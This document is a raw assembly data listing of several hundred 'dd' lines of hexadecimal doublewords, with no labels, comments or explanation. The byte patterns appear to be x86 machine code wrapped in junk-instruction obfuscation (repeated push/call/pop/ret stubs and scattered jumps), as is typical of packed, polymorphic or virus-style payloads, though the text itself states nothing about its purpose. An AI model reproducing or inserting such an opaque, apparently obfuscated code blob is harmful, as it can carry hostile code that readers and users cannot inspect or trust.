dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 481C3BC3h, 82257AFAh, 0FCB26FA3h, 1DC9B52Bh, 858905E9h
dd 5E903F5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 19h, 77C35040h, 11740817h, 51BD893Ch, 0E805E90Eh, 5CFh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0D9C35747h
dd 0CFB70F0Fh, 558589h, 0B70F05E9h, 5A1E8FBh, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
dd 7CCBE8C3h, 23558589h, 6A05E9h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 140424h, 53430000h, 5CE83EC3h, 6A000005h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h
dd 45000000h, 21FFC355h, 2E0C2833h, 0D710B966h, 15DD8589h
dd 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
dd 55450000h, 762F56C3h, 0CE9A55Ah, 1E000000h, 154EE36Ch
dd 0D839C818h, 0E8D6AB66h, 4FBh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 15C35646h, 0F2B70F25h, 30ED8589h
dd 6A05E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
dd 53430000h, 9B6AC3h, 0AE8h, 4B4F6D00h, 0A6DBE94h, 8BBFAC29h
dd 0E92AC98Dh, 9CE85F05h, 0BE000004h, 4028B60h, 0DEDB58Bh
dd 858905E9h, 5E91EE9h, 486E8h, 0A5B52900h, 8905E932h
dd 0E904BD85h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1A04h, 0C3564600h, 64F0DDFBh, 0F5F2BC10h
dd 452E8h, 5858900h, 0E905E92Ch, 0Dh, 8D923594h, 91851442h
dd 0F8E9E4EDh, 1D858985h, 2905E932h, 0E930C9BDh, 8900B005h
dd 0E9268995h, 0D8B60F05h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Dh, 23C35040h, 0E1B55B0Ch, 0C22FE23Ch, 12E83Ch
dd 5E2D0000h, 2E2EAEA1h, 0C085DDAEh, 95EA474Bh, 0A6F5162Dh
dd 0FE8B5EF8h, 6BAh, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 0D4F58C13h, 0BE662E2Bh
dd 0C38BD586h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ch, 0FEC35747h, 6709C2CAh, 0C233F35Dh, 14E8h, 0DC2B7200h
dd 4E4D8E92h, 0AB618C5Fh, 52D72Bh, 0D786BBA4h, 810F5347h
dd 0
dd 0E8C15959h, 51006A04h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 616B3E2Bh, 0E9DF8948h
dd 7, 34179374h, 66A0900Fh, 6AE2F7h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0A6DC7FC3h
dd 2BA1198Eh, 459D89D8h, 9305E910h, 93CE8B50h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 88C35343h, 0FF2F1A91h
dd 0E90BED95h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1604h, 0C3524200h, 81C05747h, 442570E9h
dd 81666063h, 66E424C6h, 7221F281h, 0F1BD0361h, 5B05E908h
dd 8FDB58Bh, 958D05E9h, 5E90B05h, 6A1A89h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 906766C3h
dd 0D6D68688h, 0BF66FFE6h, 4289E59Fh, 57006A04h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 0BE0A3076h, 2DAD958Dh, 0EE805E9h, 76000000h, 7895474Ch
dd 484CF16Fh, 0EEE2F58Ah, 5992B580h, 8195E781h, 1A895C75h
dd 8B660FB5h, 44289FEh, 2D681F9h, 8D46E823h, 0E910D595h
dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h
dd 0C3504000h, 0CAFA384Bh, 518E6E26h, 6A1A89h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 0EE15CCC3h, 44289FCh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 0E2C35343h, 18447C2Ah, 8907D4C1h, 0E92F219Dh
dd 29958D05h, 8905E928h, 53006A1Ah, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1B04h, 0C3534300h, 49C5BD02h, 0E0932F39h
dd 6A58D33h, 0CF8105E9h, 3580E372h, 1044289h, 0E92B918Dh
dd 9D958D05h, 8105E932h, 0DA62ABD6h, 291A8910h, 0E92FDD85h
dd 4428905h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 31C35040h, 7E828h, 318B0000h, 3FA4349Eh, 98D899Eh
dd 5905E931h, 0D89958Dh, 0E6B505E9h, 6A1A89h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 170424h, 50400000h, 0AB9DA7C3h
dd 0F18D8BE7h, 8905E924h, 9D890442h, 5E9109Dh, 2B41958Dh
dd 6A05E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 2EBC8CC3h, 0CF803AACh, 8CBE7B72h, 89079785h
dd 53006A1Ah, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h
dd 0C3534300h, 1FF5F955h, 15E92B35h, 0FABF0F99h, 9E9h
dd 15D8DE00h, 31321AC2h, 4289C987h, 51006A04h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 5DA7B1F3h
dd 0C36FDAB3h, 0B41958Dh, 6A05E9h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 0A4E64DC3h, 68A0Fh, 8D890000h
dd 5E91045h, 6E91A89h, 50000000h, 5E9A11AAh, 44289B0h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 1AC35545h
dd 0AEE9h, 79BD8B00h, 6A05E91Dh, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0BD8E428Fh
dd 85891C79h, 5E90B89h, 0B589006Ah, 5E902B1h, 6A006Ah
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 6A61D5C3h, 8D895300h, 5E90BA9h, 24BF6659h, 0B995FF90h
dd 6A05E921h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 17042444h, 43000000h, 5FFEC353h, 0FA8BB3BCh, 1DD8D0Bh
dd 9E905E9h, 10000000h, 2281360Ch, 0A329DCCh, 8D8951C3h
dd 5E90E89h, 0DB58B59h, 8A05E90Fh, 51006AC5h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1404h, 0C3514100h, 68C0FADh, 31000000h
dd 0E910B995h, 6AC08B05h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 5673C351h, 83142ACAh
dd 0E9164DBDh, 9750005h, 1121BD83h, 740005E9h, 8B535019h
dd 438B8C0h, 85890000h, 5E905ADh, 0B92B9D8Dh, 0D3FF05EBh
dd 0BD83585Bh, 5E91121h, 50177400h, 438B853h, 85890000h
dd 5E905ADh, 0B5CC9D8Dh, 0D3FF05EBh, 6A585Bh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 150424h, 55450000h, 804861C3h
dd 6ABBC5h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
dd 52420000h, 41811C3h, 8D89E91Dh, 5E92B71h, 858DC08Bh
dd 5E921E5h, 1CED9D8Bh, 0E89005E9h, 6, 0BD605DAh, 0E851B524h
dd 10h, 0C428DB2Ah, 3B4E1176h, 0D6E2CD43h, 0E0A2640Ah
dd 505B5B5Fh, 61606053h, 6A905F61h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 8173C351h
dd 349CE675h, 8CF211F2h, 9D8B006Ah, 5E925BDh, 9589006Ah
dd 5E91095h, 39A4858Dh, 6A05EDh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 190424h, 50400000h, 7C38ADC3h, 0F92849F2h
dd 6A05C083h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 0C772C355h, 210AA99h, 0BD8B8BD2h
dd 5E905C9h, 50FE8B66h, 489DA8Ah, 6A006A24h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
dd 0C042C352h, 2CE9BD09h, 6A05E9h, 0C18D8957h, 5B05E932h
dd 0AA195FFh, 6A05E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 140424h, 56460000h, 8D8D41C3h, 5ECADBFh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0DAC35242h, 0ABE8EEh
dd 2921B531h, 0BD8B05E9h, 5E92AF5h, 6AD1FFh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0C60E9BC3h
dd 0E8657914h, 0B70F15E8h, 1BD8BFEh, 8305E902h, 0E901BDBDh
dd 850F0105h, 71h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 14h, 0EEC35646h, 6A026Ah, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 170424h, 56460000h, 0D6D084C3h
dd 5015B728h, 489DE8Bh, 0AD95FF24h, 6A05E900h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
dd 24C356h, 8B3BF746h, 0E90731BDh, 0E9AE905h, 0E80000h
dd 5D000000h, 39AEED81h, 6A05EDh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 160424h, 55450000h, 9DFD3C3h, 24598589h
dd 8D8905E9h, 5E92AA5h, 27C1BD8Bh, 858D05E9h, 5EC904Bh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0EC35040h
dd 0E799BA59h, 0EE9h, 0E9642700h, 0DD625378h, 56538C51h
dd 53760F6Ah, 14E9h, 0D0D9A200h, 0F18DDB95h, 6B867782h
dd 26214889h, 900B02CBh, 8A0F5B2Ch, 4, 0DCBEBB66h, 12E950h
dd 0A9CF0000h, 504390C8h, 0D368DFECh, 9AAC8EA3h, 0FF270AABh
dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 9B9DC351h, 19B1BD23h, 0FF6405E9h
dd 35h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1704h, 0C3564600h, 6CF84A6Ah, 0F687EDBBh, 25896419h
dd 0
dd 9BBA6660h, 5DB58BF7h, 6105E919h, 68985FFh, 6A05E9h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 14E9B8C3h, 0C4000000h, 5556B42Fh, 7D8BDE19h, 5F9F683Bh
dd 55DA7197h, 0F665275h, 0FF6AF9BFh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ch, 43C35545h, 73FB18AEh, 8F1D3AC3h
dd 23D19589h, 0B5FF05E9h, 5E9326Dh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 0DBC35646h, 0FFD0B7E5h, 0E907C995h
dd 11DE905h, 85890000h, 5E91825h, 0B0DE8B66h, 0FE800h
dd 0E72C0000h, 0B8A8BDB7h, 243FAE3h, 0BB6E1DD3h, 0E3816650h
dd 0E65B4857h, 0B8C0F70h, 0F000000h, 589h, 57A1BB00h, 5E91725h
dd 2000000h, 0E7BC342h, 8F0F71E4h, 0
dd 830F613Ch, 0CBh, 0BE8h, 0E9AA5800h, 7062AC76h, 0F57C71E1h
dd 0B60F5BFCh, 0BADF8BC8h, 6, 0F5D9D8Bh, 0C18B05E9h, 0E8C198B7h
dd 66DF8B04h, 9589E2F7h, 5E904B9h, 9D8BC82Bh, 5E928D9h
dd 0FFB3D18Bh, 0E9h, 5858B00h, 8B05E90Bh, 0E90C8DBDh, 7C08305h
dd 6600C083h, 3B338BBFh, 17830FD0h, 8B000000h, 0E931519Dh
dd 5DE905h, 0BD310000h, 5E9283Dh, 325DBD0Bh, 8D8B05E9h
dd 5E90791h, 5DD9D8Bh, 0E18305E9h, 3C840F01h, 0E8000000h
dd 0Dh, 8FDAD3D1h, 623C6197h, 284ABAE0h, 0DDB501BDh, 5F05E903h
dd 791A583h, 8BFE05E9h, 0E92DD59Dh, 5958905h, 0F05E90Bh
dd 585h, 0AEE0BF00h, 0E93361h, 8D000000h, 0ECD332B5h, 52006A05h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 0E67FCD8Eh, 31006A86h, 0E92AD59Dh, 0DFF78105h, 0FF3BF6DEh
dd 0E91E9595h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1804h, 0C3564600h, 0F2E33005h, 70CB9D6h
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
dd 53430000h, 8E86F0C3h, 0C802F639h, 0F7C7F23h, 0C85h
dd 6840F00h, 31000000h, 0E912A99Dh, 0FCE18305h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0E6C35343h, 25238E10h
dd 0F88BFC51h, 0B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 720E4F6Ah, 0BA79EDA4h
dd 0
dd 0FE850h, 0A780000h, 5CC20F76h, 54491669h, 382E90FDh
dd 59D8BC7h, 5B05E92Eh, 0C233AD5Bh, 0D003E8D1h, 7504E983h
dd 50006AF4h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 0D1D316A3h, 95894554h, 5E92DC1h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0C35545h, 67CCCC63h
dd 2B507EE6h, 0E900B1BDh, 880D05h, 6E80000h, 0CB000000h
dd 0BB7126F7h, 0D19D339Dh, 5F05E92Fh, 2655958Bh, 8D8B05E9h
dd 5E90805h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Bh, 1EC35242h, 0A485B9CCh, 50633BAEh, 188BC28Bh, 188BC103h
dd 0E8D1C18Bh, 188BC203h, 57006A58h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0AC862EF6h
dd 0A09E05D2h, 6A723Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 0AB4B84C3h, 799797C5h, 0BD8BAF96h
dd 5E90EFDh, 1CF1BD83h, 0F0005E9h, 3D84h, 9DB58900h, 0B805E926h
dd 0
dd 0CB33FBBFh, 6D8D8D0Dh, 0E905E94Eh, 8, 1309F69Eh, 0FF5BAE04h
dd 11E951h, 0F7190000h, 20B0CA94h, 93C07D0Eh, 3584CEA3h
dd 5BD64502h, 0BD83E1FFh, 5E9163Dh, 7840F00h, 6A000004h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h
dd 41000000h, 9B88C351h, 0D992E96Eh, 99EBB860h, 163DBD83h
dd 0F0105E9h, 3F084h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 7DFCF83Ah, 0D9BF0F76h
dd 163DBD83h, 0F0305E9h, 38A86h, 0BD958900h, 6005E905h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 11C35545h
dd 18B99D8Bh, 8C6605E9h, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1404h, 0C3524200h, 4E180FDh, 0BE9h, 552E9700h
dd 3BD21261h, 343B1B7h, 68D0Fh, 0BD8B0000h, 5E92699h, 840FC90Ah
dd 113h, 6800Fh, 0BD8B0000h, 5E907BDh, 2869858Bh, 9D8905E9h
dd 5E91839h, 0E618533h, 870F05E9h, 2, 529069B3h, 0BDC349BFh
dd 8A505F09h, 6A90DDh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1A0424h, 51410000h, 0F32BE7C3h, 0AA4ACC41h, 6A006AF9h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h
dd 46000000h, 0AFE3C356h, 880F8B4Ah, 1, 0FE8FCh, 9E590000h
dd 0AE58CAACh, 16DAE867h, 6CE41A44h, 2FEB8141h, 5F5A54C4h
dd 0E1CBDC68h, 0F525034h, 0B87h, 6E900h, 592A0000h, 58CAAC9Eh
dd 11E9310Fh, 0F0000000h, 6B5F432Dh, 0DAE26930h, 0E9B68718h
dd 0A5E073CAh, 3481585Ah, 0FEC82324h, 0FFDA8B34h, 0E9292D95h
dd 0D88B6605h, 0BACE8589h, 6A05ECh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 72D2F3C3h
dd 19F78400h, 0BD8B4988h, 5E9069Dh, 19FE9h, 8BFD8A00h
dd 0ECBAC685h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1B04h, 0C3524200h, 0F8858510h, 0CC474D31h
dd 1FA65ABFh, 0BE94Fh, 839E0000h, 33683F5Eh, 0C973E9A1h
dd 1800C7B8h, 8B000000h, 0E92799BDh, 0CAB58B05h, 8B05ECBAh
dd 0E91E85BDh, 39858B05h, 8105E92Fh, 0BF476BCBh, 6A06892Ah
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 1009C357h, 0FA1BD8Bh, 858B05E9h, 5E92869h
dd 0B5896060h, 5E91259h, 15D9BD03h, 896105E9h, 0E92FDD85h
dd 46896105h, 0FD9D8B04h, 9605E92Ch, 6810F52h, 50000000h
dd 5A310F52h, 66505F58h, 96FA6EBBh, 0E59D8951h, 5F05E90Dh
dd 0FFFB8B66h, 0ECBAC6B5h, 52006A05h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 98926EA2h
dd 4A82E201h, 0C7816680h, 4E810FBh, 0FF000000h, 0E8001F03h
dd 10h, 64696A60h, 0D219113Bh, 7795630h, 0B5189893h, 860Fh
dd 505F0000h, 310F5250h, 2343BB66h, 448B585Ah, 8B660424h
dd 8B008BFEh, 244489F8h, 6A5804h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 423DFC3h, 5DB30E3Eh
dd 8D929EE7h, 0ECBACE85h, 51006A05h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0C47AB3FDh
dd 89500D38h, 2B532404h, 0E9023DBDh, 95FF5B05h, 5E9292Dh
dd 7BF5BF66h, 52006A61h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1404h, 0C3524200h, 68C0F0Eh, 89000000h, 0E9031985h
dd 3D85C705h, 305E916h, 0E8000000h, 0Ah, 747E228Bh, 14A014FFh
dd 0AE919A3h, 49000000h, 8EE25549h, 47D07B1Dh, 0BD835B59h
dd 5ECBACEh, 0C840F00h, 0F5000000h, 21E9h, 0F59D8B00h
dd 5005E92Ah, 110C30h, 0C1011144h, 443010E8h, 4C000211h
dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h
dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
dd 0EBE775h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 72066AC3h, 0F5F98B2Ch, 163DBD83h
dd 0F0305E9h, 4A785h, 0AE800h, 0AECC0000h, 0B16D2F33h
dd 4976EC99h, 10820Fh, 0AE80000h, 43000000h, 4F6DF597h
dd 6DBE944Bh, 835F5F0Ah, 0ECBACEBDh, 840F0005h, 474h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 1FC35242h, 0ED0D36F0h
dd 0AE92548h, 51000000h, 157C1134h, 0FEA2A21Eh, 0CEB5FFCAh
dd 6A05ECBAh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 19042444h, 42000000h, 48EDC352h, 0F0FE2825h, 30F1BD2Bh
dd 95FF05E9h, 5E92B75h, 0D33BF66h, 0BAC2B58Bh, 14E905ECh
dd 0E9000000h, 0B06A41h, 891A4352h, 5E1C31F9h, 4760EE82h
dd 0C76AE729h, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1B04h, 0C3574700h, 0D20927C4h, 46747780h
dd 0BB525096h, 932CD07h, 890F310Fh, 5, 7D98DCBBh, 50585A5Bh
dd 519FBF66h, 10E996h, 0E4CC0000h, 81F2442Eh, 0DA9AD5C6h
dd 5BAF5AA0h, 0B5FF9D4Eh, 5ECBACEh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 0D2C35545h, 0CEBF660Eh, 4D95FFACh
dd 8905E92Bh, 0E90499B5h, 0C2B58B05h, 8B05ECBAh, 0E91C99BDh
dd 0DD858B05h, 6A05E90Fh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 14042444h, 43000000h, 891DC353h, 0C486h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h
dd 0C3574700h, 26F293E1h, 6840F06h, 81000000h, 0D40615CFh
dd 55958B04h, 0FC05E926h, 0E904C283h, 0Eh, 0BCF5840Eh
dd 24DC85E1h, 0B9092CF4h, 0B5891C18h, 5E91D45h, 0F205089h
dd 858DFEBFh, 5ECD055h, 0B88689h, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 170424h, 50400000h, 35AF54C3h
dd 0DDBD8BBBh, 8905E907h, 0E9115185h, 6A006A05h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 0A747C357h, 0B5FFF503h, 5ECBACEh, 0AD95FFF9h, 905E900h
dd 0E9052D85h, 11E95005h, 42000000h, 61CAC71Dh, 0A3BD6879h
dd 61808C50h, 2C2638D7h, 6A243489h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0E1CC350h
dd 312B801h, 4B29E37Dh, 0F2D9D89h, 6E805E9h, 3000000h
dd 61685D3Ah, 0BF0F53AFh, 0FF5B5BD8h, 0ECBACEB5h, 0EF816605h
dd 95FF27A2h, 5E93231h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 6AC35545h, 0D8ADA52Dh, 359D8DBFh, 0B1BD8300h
dd 5E92Ah, 4B840Fh, 0BE90000h, 69000000h, 29A3A4A8h, 3DD0F10Bh
dd 0E85092C9h, 0Dh, 0DFD10C81h, 0A5594367h, 8510C311h
dd 5BD98B85h, 6A243489h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 14042444h, 41000000h, 89EDC351h, 0E9283D9Dh
dd 0CEB5FF05h, 6A05ECBAh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 5C36C352h, 9D8BF11Dh
dd 5E92DFDh, 2F6195FFh, 6A05E9h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 66957DC3h, 29E5C24Eh, 0E9160585h, 6D8D8905h, 0FF05E905h
dd 0ECBACEB5h, 51006A05h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 0DB615CFAh, 0E98B43F9h
dd 6, 3B613C0Eh, 95FFE77Ch, 5E92DC5h, 54B7F781h, 0BD833DE7h
dd 5E903FDh, 0CD840F02h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 60A1C356h
dd 0B9B58950h, 5E05E90Dh, 10FDB58Bh, 0E96105E9h, 13h, 80A4676Ah
dd 92C7B509h, 70C3B137h, 0B1022938h, 8BF1B920h, 0E9305585h
dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h
dd 0C3514100h, 0B91EBA4Ch, 0C351CA17h, 0CF815FD0h, 2B921CA6h
dd 6A0000C6h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 0B442C356h, 82379D5Bh, 0F03D010Dh
dd 0EE8h, 0EB9D6700h, 0D7F44D8Ch, 6191B1D5h, 0E9297AF6h
dd 11h, 6BEB9273h, 28C0AC3Ch, 0A2FDDE73h, 31A7A57Fh, 8A0F5BE2h
dd 0
dd 27A985C7h, 5E9h, 9D8B0000h, 5E9179Dh, 0FFF30DE9h, 50006AFFh
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 0AF7E5FF0h, 0D9BD03BFh, 8B05E91Eh, 55006AC1h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 3B13E632h, 0CFD44996h, 0EB814D06h, 4424B077h, 21E5858Dh
dd 0E78005E9h, 0FB8B90CBh, 0FA8B6650h, 6820F90h, 89000000h
dd 0E90D4D85h, 8A006A05h, 8B006AFEh, 0E908E5BDh, 0EA858D05h
dd 6A05ED49h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 19D2C357h, 8BBFFD9Dh, 0E919419Dh
dd 5C08305h, 58B0Fh, 0ACBB0000h, 290E356Eh, 0E9042D85h
dd 8B565005h, 4895FF8h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1A04h, 0C3554500h, 32D8B560h, 8BFF87F7h
dd 499589D8h, 6A05E924h, 359D8B00h, 6A05E92Dh, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 901FEAF1h, 0B04BFB90h, 1268EB81h, 95FF4D01h, 5E90AA1h
dd 3830Fh, 8B660000h, 0BF8D8DF8h, 8B05ECADh, 0FFD88BF8h
dd 6870FD1h, 8B000000h, 0E921BD9Dh, 759D2305h, 8305E91Eh
dd 0E901BDBDh, 850F0105h, 9Fh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Bh, 0AAC35545h, 0ECF4C7Eh, 66BC53F2h
dd 6AF8D88Bh, 53006A02h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1A04h, 0C3534300h, 58E777B9h, 908BEAA5h, 0B0BF5250h
dd 0F374794h, 21E5BB31h, 585A0704h, 0A9BB5050h, 5B1649B3h
dd 0E12FBF90h, 515627A4h, 5BF98B66h, 0AD95FF5Bh, 6A05E900h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h
dd 45000000h, 112AC355h, 0D79BAF1Ah, 44E66D82h, 0E9DEBF0Fh
dd 0DF3h, 0E8h, 0ED815D00h, 5ED49F4h, 26ED8D89h, 6A05E9h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 0DCD926C3h, 0E4477538h, 0DE9FBh, 0EF9F0000h, 1B18CE6Fh
dd 0E42156A8h, 8D1C6F2Dh, 0EC904B85h, 53006A05h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 45023584h, 48950D6h, 358D3124h, 6405E908h, 35FFh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
dd 5B63BC3h, 0A06C15FAh, 9ABB33Ch, 0E910A595h, 25896405h
dd 0
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 6C35747h
dd 3C978420h, 68985FFh, 6A05E9h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1A0424h, 53430000h, 291F79C3h, 1426F0AFh
dd 3359D89h, 0CEBF05E9h, 6A6EC708h, 52006AFFh, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0FBCC8041h
dd 3B1BD8Bh, 0B5FF05E9h, 5E9182Dh, 0FFDABF0Fh, 0E907C995h
dd 11EE905h, 9D2B0000h, 5E924EDh, 9D3300B0h, 5E91E15h
dd 9D2970E6h, 5E91649h, 9D8B71E4h, 5E925BDh, 830F613Ch
dd 0F8h, 331D9D33h, 0B60F05E9h, 6BAC8h, 0D88A0000h, 0DE8BC18Bh
dd 8104E8C1h, 616132DFh, 0E2F76606h, 8E8h, 384C4100h, 8E1B06C5h
dd 0BD8589B4h, 5B05E92Eh, 13E8C82Bh, 6A000000h, 980A467h
dd 3792C7B5h, 3870C3B1h, 20B10229h, 0BB66F1B9h, 8B5F5E5Eh
dd 2880FD1h, 8B000000h, 19E9FAh, 9E80000h, 13000000h, 0DFE11631h
dd 0F7935437h, 2B616060h, 0E930E18Dh, 8B5F6105h, 0E92DAD85h
dd 0CF816605h, 10E9BBA2h, 7A000000h, 0B1ADB47Ch, 0D0EDC5D9h
dd 62B7D6D9h, 834BBF99h, 0C08307C0h, 68A0F00h, 8B000000h
dd 0E90DF9BDh, 0FD03B05h, 0B83h, 0D3A5BB00h, 39E90E6Bh
dd 0F9000000h, 0E418D8Bh, 816605E9h, 839779C7h, 840F01E1h
dd 24h, 4CC0DF81h, 0A5837B57h, 5E90E41h, 0EE20BBFEh, 95893DD2h
dd 5E92DADh, 0AF09BB51h, 0E95B57C2h, 0
dd 0DBE8B58Dh, 6A05ECh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 9E521DC3h, 0BE5A9917h, 0E812AF5Bh
